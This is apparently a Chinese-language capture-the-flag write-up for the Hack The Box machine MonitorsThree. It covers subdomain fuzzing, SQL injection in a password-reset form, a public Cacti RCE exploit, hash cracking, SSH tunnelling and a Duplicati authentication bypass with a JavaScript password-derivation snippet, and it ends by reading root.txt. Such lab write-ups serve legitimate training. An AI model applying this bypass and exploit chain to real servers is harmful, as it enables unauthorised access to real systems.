[htb] MonitorsThree
information
1
2
3
4
5
6
7
8
9
10
11
╭─bamuwe@Mac ~/Desktop
╰─$ nmap -F monitorsthree.htb
Starting Nmap 7.95 ( https://nmap.org ) at 2024-12-01 13:23 CST
Nmap scan report for monitorsthree.htb (10.10.11.30)
Host is up (0.24s latency).
Not shown: 98 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 7.13 seconds
www-data
网站截图
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
╭─bamuwe@Mac ~/Desktop/CVE-2024-25641-RCE-Automated-Exploit-Cacti-1.2.26 ‹main›
╰─$ ffuf -u 'http://monitorsthree.htb/' -w ~/Documents/SecLists/Discovery/DNS/bitquark-subdomains-top100000.txt -H 'host:FUZZ.monitorsthree.htb' -fs 13560
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://monitorsthree.htb/
:: Wordlist : FUZZ: /Users/bamuwe/Documents/SecLists/Discovery/DNS/bitquark-subdomains-top100000.txt
:: Header : Host: FUZZ.monitorsthree.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 13560
________________________________________________
cacti [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 359ms]
发现是一个cacti管理页面,也根据版本号1.2.26找到了一个exp,但是exp的使用需要密码,我们没有密码。返回主域寻找密码。
https://github.com/thisisveryfunny/CVE-2024-25641-RCE-Automated-Exploit-Cacti-1.2.26?tab=readme-ov-file 主域有一个login功能,其中根据用户名找回密码的功能,通过尝试,确定有admin这个用户。
找回密码功能
请求包如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /forgot_password.php HTTP/1.1
Host: monitorsthree.htb
Upgrade-Insecure-Requests: 1
Cookie: PHPSESSID=t9ah401j2ql63i4qo8o7v6442t
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Origin: http://monitorsthree.htb
Referer: http://monitorsthree.htb/forgot_password.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Content-Length: 14
username=admin
这里的username参数存在sql注入,用sqlmap跑出来是一个延时注入,肥肠之慢,所以这里我直接跳了。
https://github.com/maxzxc0110/hack-study/blob/dd7e143ac0327408f7814e544630b8526a73caf5/%E9%9D%B6%E5%9C%BA/HTB/MonitorsThree.md
得到账号密码admin / greencacti2001 运行搜索到的exp得到www-data
运行截图
marcus
:/var/www/html/cacti/include/config.php 发现数据库账号密码cactiuser / cactiuser
数据库查询结构 得到marcus的密码hash。接下来尝试破解这个密码。
1
2
3
╭─bamuwe@Mac ~/Desktop
╰─$ john password ~/Documents/rockyou.txt
...etc
1
2
3
4
╭─bamuwe@Mac ~/Desktop
╰─$ cat /Users/bamuwe/.john/john.pot
$2y$10$Fq8wGXvlM3Le.5LIzmM9weFs9s6W2i1FLg3yrdNGmkIaxo79IBjtK:12345678910
我这里已经破解过了。最终得到了 marcus / 12345678910
得到用户marcus
root
1
2
3
4
5
marcus@monitorsthree:/var/www/html/cacti/include$ netstat -tunlp|grep 127.0.0.1
<w/html/cacti/include$ netstat -tunlp|grep 127.0.0.1
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:43519 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8200 0.0.0.0:* LISTEN -
查看本地发现在监听8200端口,使用ssh转发出来。这里不能直接用ssh密码连接,但是可以使用marcus密钥连接。
1
2
3
4
╭─bamuwe@Mac ~/Desktop
╰─$ ssh -i id_rsa marcus@cacti.monitorsthree.htb -L 8200:127.0.0.1:8200 130 ↵
Last login: Sun Dec 1 04:31:28 2024 from 10.10.16.77
marcus@monitorsthree:~$
http://127.0.0.1:8200
是一个Duplicati管理页面,跟第一个用户一样,我们没有密码,但是搜索可以发现这个管理系统存在登录绕过的方法。
https://github.com/duplicati/duplicati/issues/5197
按照链接的方法,
- 首先要获得Server_passphrase,并且从base64解密再转换到hex
1 2
marcus@monitorsthree:/opt/duplicati/config$ ls CNSAQPFASC.sqlite CTADPNHLTC.sqlite Duplicati-server.sqlite KBBPHOVTJE.sqlite NKHUNJXXOX.backup NKHUNJXXOX.sqlite XKUQSLDDQX.sqlite XWXJCJZHNE.sqlite control_dir_v2
Duplication-server.sqlite查询
得到Server_passphrase=Wb6e855L3sN9LTaCuwPXuautswTIQbekmMAr7BrK2Ho=
解密转换
得到59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a
- 其次要获得respond中的Nonce
劫持响应截图
- 最后使用给出的这段js代码
1 2 3
var saltedpwd = 'HexOutputFromCyberChef'; // Replace with the Hex output from step 6 var noncedpwd = CryptoJS.SHA256(CryptoJS.enc.Hex.parse(CryptoJS.enc.Base64.parse('NonceFromBurp') + saltedpwd)).toString(CryptoJS.enc.Base64); // Replace 'NonceFromBurp' with the intercepted nonce console.log(noncedpwd);
js脚本运行截图,这里脚本参数最后多了一位,后续重新跑了一下,图就没有换了。
得到password参数,替换原有参数。这里有时候需要url编码,小部分情况不用编码也能成功。
请求包截图
Duplicati管理页面截图
Duplicati是一个类似文件备份的系统。我们使用平台功能把root.txt备份出来,在还原到我们能够读取到的地方即可。
备份
还原
1
2
3
4
5
marcus@monitorsthree:~$ ls
manifest root.txt user.txt
marcus@monitorsthree:~$ cat root.txt
f62abaf8d1017898bed7335e21e9dd7d
marcus@monitorsthree:~$
conclusion
- 考验信息收集能力,在立足点的突破中,不单单使用一个cve脚本一键提权,考察信息收集的思路,我们缺少什么信息,需要寻找什么信息。
- 信息收集的关注点不仅仅在当前版本的漏洞中,历史的漏洞也应该浏览。
- 有意思的靶机,特别是提权的部分,不依赖于现有的exp(本人脚本饺子🥟实锤)。